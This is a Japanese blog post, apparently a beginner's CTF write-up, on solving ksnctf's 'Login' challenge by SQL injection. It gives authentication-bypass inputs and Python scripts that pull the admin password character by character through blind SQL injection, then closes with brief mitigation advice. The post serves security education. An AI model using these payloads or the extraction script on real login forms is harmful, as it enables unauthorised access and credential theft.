LoginSignup
2
0

More than 3 years have passed since last update.

CTF初心者による未経験者のための解説

Last updated at Posted at 2020-05-10

※重要

本記事における内容はハッキング及びそれに関する犯罪を助長するものではありません。
用法・用量を守って正しくお使いください。

概要

CTFで扱われる個人的にそれっぽくて楽しそうなSQLインジェクションとはなんだろうという話題からその実践、対策について簡単にまとめています(個人用備忘録でもある)
n番煎じの内容にはなりますが僕が新たに書くことでCTFの単語を目にする人が増えたり、初学者や僕の知り合いが興味を持てばいいなといったゆるいテンションで書きます。

想定読者

1.CTF未経験者
聞いたことはある、興味はあるけど敷居が高い...と感じる人。
危なそうだから手を出せない...と感じる人。
2.CTF上級者
CTF初心者のため確認はしていますが間違いなど記述する可能性があります。
その際はコメントやTwitterの方でそれちげえぞって教えてください。

CTFとは

最近、競技プログラミングという数学やコーディングの技術を競い合うコンテストが流行っていますよね。
僕もABCにここ最近出場し始めてボコボコにされています。
怒られそうですがすっごい簡単に僕の偏見で話すとあれのセキュリティ版のコンテストです。
後で実践しますが、参加者はセキュリティに関する様々な知識を総動員してFlagと呼ばれる文字列を探し出します。

以下のURLに百倍詳しくまとまっているので是非呼んでください。
CTF初心者が考えるCTF入門

MR. ROBOTとかSCORPION好きな人絶対ハマる間違いない

実践

今回主に扱う技術

競技といってもその内容を学び生かさなければ意味が薄れるので扱う技術はその都度ほぼ一言で解説します。
とりあえずCTFがどんな感じかだけ知りたいって人は飛ばしてもまあ大丈夫です。

SQLインジェクション

あるアプリケーションにおいて入力値を適切にエスケープしておらず、検索結果の文字列が表示されたり、SQLのエラーメッセージが表示される箇所がある場合、それら表示の一部に、本来とは別のSQL文の検索結果を表示させることで、隠れた情報を表示させる手法。

BlindSQLインジェクション

SQLインジェクションの手法のひとつ。
表示される箇所が存在しない場合。SQLの問い合わせ結果が存在する・存在しないの違いなどによって情報を得る。
この情報を積み重ねることによって、攻撃者が得たい情報を引き出す手法。

今回扱う問題

ksnctf6問目[Login]
リンク先に飛ぶと以下のような入力画面が表示されると思います。
スクリーンショット 2020-05-10 11.40.03.png

問題文に死ぬほど情報がありませんね。頑張りましょう。

どうやって攻めるか

CTF初めてやる人にとって絶対ここが障壁になると思うんですよね。
膨大なセキュリティ知識がある人ならともかくそれを勉強する間に割と飽きることもあるあるだと思いますので思考を一つ一つ残します。

まず、adminとしてログインしてみろって内容なのでIDにadminを入れて適当なパスワードを入力しますがまあ当然失敗します。
adminが友達なら好きなもの打ち込んだりパスワード打ってるところチラ見して(ソーシャルハッキング)知ることもできますが今回は当然できません(ツイッターのアカウントからネトストしてパスワード拾うみたいな問題も世の中にあります。やめましょう)
本題に戻りますが、実は脆弱性を持つサイトではこの入力を工夫することでこの認証を回避することができます。

SQLでは--以降がコメントアウトされること、ユーザーが今回はadminだということがわかっていることを合わせてID欄に
admin'--
と入力してみるとログインに成功すると思います。
これはパスワード認証のSQL文を無視することで認証を回避し、adminというユーザー名のみでログインを可能としています。
また、ユーザー名がわからない場合は1' or '1' = '1'--と入力することで、結果に必ず真を返す条件文を作成しログインできることもあります。

とりあえずログイン後の画面を見てみましょう。
スクリーンショット 2020-05-10 11.59.13.png

初学者にとって別にtoo easyではありませんでしたがとにかくパスワードが今回フラグだということが分かりました。
しかしヒントも載せてくれているのでヒントを確認しましょう。

ヒント
    function h($s){return htmlspecialchars($s,ENT_QUOTES,'UTF-8');}

    $id = isset($_POST['id']) ? $_POST['id'] : '';
    $pass = isset($_POST['pass']) ? $_POST['pass'] : '';
    $login = false;
    $err = '';

    if ($id!=='')
    {
        $db = new PDO('sqlite:database.db');
        $r = $db->query("SELECT * FROM user WHERE id='$id' AND pass='$pass'");
        $login = $r && $r->fetch();
        if (!$login)
            $err = 'Login Failed';
    }

php書いたことが全くない状態として、なんとなくわかるのはuserという名前のテーブルにidとpassを投げてログインが可能か確認しているんだなということくらいです。
よって以下のような文をIDに入力してみます。
' or SELECT pass FROM user WHERE id = 'admin' --
(和訳)userというテーブルの下でidがadminという条件でpassを出してくれ→失敗

これそもそもSQL文通るのだろうかと思って次のような文を再度入力します。
' or (SELECT LENGTH(pass) FROM user WHERE id = 'admin') > 1 --
(和訳)userというテーブルの下でidがadminという条件でpassの長さが1以上→成功
' or (SELECT LENGTH(pass) FROM user WHERE id = 'admin') > 100 --
(和訳)userというテーブルの下でidがadminという条件でpassの長さが100以上→失敗

使えそうな上にパスワードの長さも総当たりしてれば分かりそうですね。
また、サラリと使いましたが上記のように直接的でなく情報を得る手法がブラインドSQLインジェクションの一種です。
他にもSLEEPで返答までの時間の差異で情報を得るなどの手法もあるようです。
http://blog.livedoor.jp/ramtoco/archives/9304768.html

さて、簡単に総当たりと言いましたが毎回入力するのは面倒なので自動化します。

passの長さ測定
import requests
url = 'http://ctfq.sweetduet.info:10080/~q6/'
for i in range(1, 100):
    admin = 'admin\' AND (SELECT LENGTH(pass) FROM user WHERE id = \'admin\') = '+str(i)+'--'
    user = {'id' : admin}
    response = requests.post(url, data=user)
    if 'Congratulations!' in response.text:
        print('パスワードの長さは',i)
        break

Pythonではrequestsを使うことで簡単に指定のURLにGET,POSTができます。
問題ページにさっきの文をpassの長さが変数iと一致するまで、Congratulations!が表示されることを終了条件に投げ続けます。

python check_pass.py 
パスワードの長さは 21

長さが21だと分かりました。
いよいよpassの中身を確認します。
passの文字列を1文字ずつ吟味するわけですが、流石に人力では日が暮れますのでこれも自動化します。

パスワード解析
import requests
url = 'http://ctfq.sweetduet.info:10080/~q6/'
for i in range(1, 100):
    admin = 'admin\' AND (SELECT LENGTH(pass) FROM user WHERE id = \'admin\') = '+str(i)+'--'
    user = {'id' : admin}
    response = requests.post(url, data=user)
    if 'Congratulations!' in response.text:
        print('パスワードの長さは',i)
        break
X = ''
for count in range(1, i):
    for char_number in range(48, 122):
        c = chr(char_number)
        PASS = '\' or substr((SELECT pass FROM user WHERE id = \'admin\'), {i}, 1) = \'{char}\' --'.format(i = count, char = c)
        user = {'id' : 'admin', 'pass' : PASS}
        response = requests.post(url, data=user)
        if 'Congratulations!' in response.text:
            X = X+c
            print(X)
            break

phpのsubstr関数は文字列,開始位置,長さを引数にとり指定の部分文字列を返します。

結果
パスワードの長さは 21
F
FL
FLA
FLAG
FLAG_
......続きは自分で!

対策

どうすればこのような攻撃に対抗できるか。
まずこのようなセキュリティ脆弱性について理解する。
知らないことの対策はできないのでOWASP Top10とか読んでいろいろな脆弱性について知り、問題に対しての対処法を学びましょう。
今回でいうと予期しない入力にはエラーを返したり、意味を持つ記号をエスケープしてただの文字列として扱うようにするなどの対処法がある。
詳しくは以下のページにSQLインジェクションに関して分かりやすく危険性と対策がまとめてありおすすめ。
https://blogs.mcafee.jp/sql-injection-prevention
そして記述したコードはきっちりテストコードを書いて検証(学生のうちは意識皆無でした)
僕は今年から社会人で今仕事でひたすらサービスのテストコードを書いたり改善したりしていますが、学生の時あまり意識していなかったテストを怠ってしまうとボコボコにされます。

でもセキュリティ講義ってかったるいし興味のない勉強ってやる気でないからCTFとかで楽しく学ぼうね!!!

最後に

僕は興味を持った当初SECCON Beginnersに参加させていただいたのですがこれ系の勉強会って地味に敷居高いと思うんですよね。
実際CTF経験者も皆無ではありませんでしたがセキュリティ学ぶの初めてですって人もかなりいらっしゃった上に、大学時代に少しはコンピュータサイエンスについて勉強しましたって人はかなり分かりやすい説明を聞くことができると思います。
最後に行われる軽いコンテスト自体も学んだ内容の復習でしたし僕も初参加で暗号解析ひたすらやって上位に食い込めたりもしたので気軽に参加していただければいいなと純粋に思います(回し者でもなんでもないです)

何かあれば気軽にここまで->@XER0NE(名前見てあれのパクリじゃんって気付いた人も気軽に)

参考

実装面などはほとんどこの方のコードを読みながら学びました。いろいろなWriteup書いて欲しいです。
https://qiita.com/okmt1230z/items/0f9bbdb4c28a1ef6d15e

2
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
0